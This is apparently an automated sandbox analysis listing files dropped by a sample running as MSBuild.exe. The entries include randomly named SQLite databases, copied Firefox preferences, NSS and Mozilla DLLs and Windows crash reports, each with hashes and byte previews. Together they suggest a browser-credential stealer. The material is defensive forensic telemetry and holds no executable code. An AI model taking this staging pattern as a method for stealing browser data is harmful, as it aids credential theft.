File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCBAFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGCGCFHIEHIDGDBAAEHJDAFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGHDHCGHCAAKEBKECBKFIIDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECFIECBGDGCAAAEHIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDHDBKEBGHJJJJKEHDHJJEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGDHIECAKJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_aa631021d087f9452799e575242b30ff106b8891_3293b468_5bdcc3dc-4cbe-4715-9c79-04e8aea1ad9f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6452437962241732
Encrypted:	false
SSDEEP:	192:cqBcZw9vUsPnw0BU/7E3jhzuiFEZ24IO80Bl:zcOnTBU/AjhzuiFEY4IO84
MD5:	C9D50A6F4A4D2B4AC75796177AB863E2
SHA1:	6F6BA78ED97A64F99348C61335C22CFADD0BC326
SHA-256:	A367B26F73338A29915A302C45555CE81C2BAD4584DE4D8D4D8B0637F6F793D9
SHA-512:	0A402895D6C5704E2E8F5E5DA0D607DDF669B643C02C6E9D04FF623CBA0E8749BD4CA612F6E3E71955DC7FC5D41F8292236CFD3F6B9355DFBCDA2D68F4A69C51
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.8.8.1.1.7.1.4.8.7.1.7.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.8.8.1.1.7.5.0.8.1.0.4.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.d.c.c.3.d.c.-.4.c.b.e.-.4.7.1.5.-.9.c.7.9.-.0.4.e.8.a.e.a.1.a.d.9.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.d.5.7.1.1.f.-.f.c.5.1.-.4.a.7.0.-.a.1.7.5.-.a.1.e.a.b.e.e.8.9.9.3.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.c.4.-.0.0.0.1.-.0.0.1.4.-.f.7.2.8.-.7.6.a.5.c.c.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.8.9.2.5.4.f.9.2.c.9.0.8.c.0.d.9.9.d.1.5.0.6.4.9.a.a.b.4.f.d.e.a.7.f.c.1.0.b.3.4.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 15:21:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34530
Entropy (8bit):	1.6835913902504012
Encrypted:	false
SSDEEP:	96:508yZeY8MZva4pti77gREc2pZxld2/91yoK9u4nsfHH/Leg7BWIkWI0ToI4260Aa:ditOd4TyC4ncHH/ad260ACyG7
MD5:	43AD58BDC685E917C6A527DF5DD5A276
SHA1:	0BDC6EDDAC0BE3AAC2785E63009E6BBF747482C0
SHA-256:	809B8CD054A590B7A718A001A494FECBA31399C65563D24E4422D4CA9E49674F
SHA-512:	6840BE1F39831749D5D964D5ECAE36FE1ED6C4C044DEE71B0B038B0CC81F66016F507BBA54E131B3EFD123CA35327F3BFB226DB729D3975984DA70D5581F3202
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T................{......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F87.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8292
Entropy (8bit):	3.691894440087643
Encrypted:	false
SSDEEP:	192:R6l7wVeJkC16h6YEIgSUUSomjgmfBvTZMRpr+89bV3sfenm:R6lXJZ6h6YEfSUUSomjgmfJ9M7V8f/
MD5:	FB1ABFC690489DCEC149ECF2E3E34380
SHA1:	81520DC834228124789A525B8552C31A3416DAFC
SHA-256:	74430F58F320EE7A91BD3066AB12E22F5C630766A4ADBFDF92612613775B1800
SHA-512:	99254A1796C454EDB6F74D635681F5F5681072C57287FBAEF4D3A3F11AB0BDAED376B6A15B9F0247A66F63F67C7EAD1E96AC8CF0A866624CB2F5B21B3FF6E14F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FB7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.444201193728772
Encrypted:	false
SSDEEP:	48:cvIwWl8zsaJg77aI9OBWpW8VYNaYm8M4JevFjc+q8ADiaD7nd:uIjfoI7cQ7VwTJVpiaD7nd
MD5:	0856F7821A733F0BF130DA586AC6105A
SHA1:	E48A616EA103EA984BB56650C1F5D0F45C06A77F
SHA-256:	AD24BA5711C7D5CEA2DEDEDC2B0D76AE701D493B2293AC48894A727896C0BC8C
SHA-512:	25A110D7715108AD99A6EECFA0CA9AAD1EBA00CAF0034AD65D1325E9FDEF04A625CF448028CA8482748569019C68755D23ADC9CE3B2032EFDC42BC2B3E1906D3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533184" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse Filename: MPil9jkBPG.exe, Detection: malicious, Browse Filename: gpfSnYlScw.exe, Detection: malicious, Browse Filename: fe6yqly1Xh.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
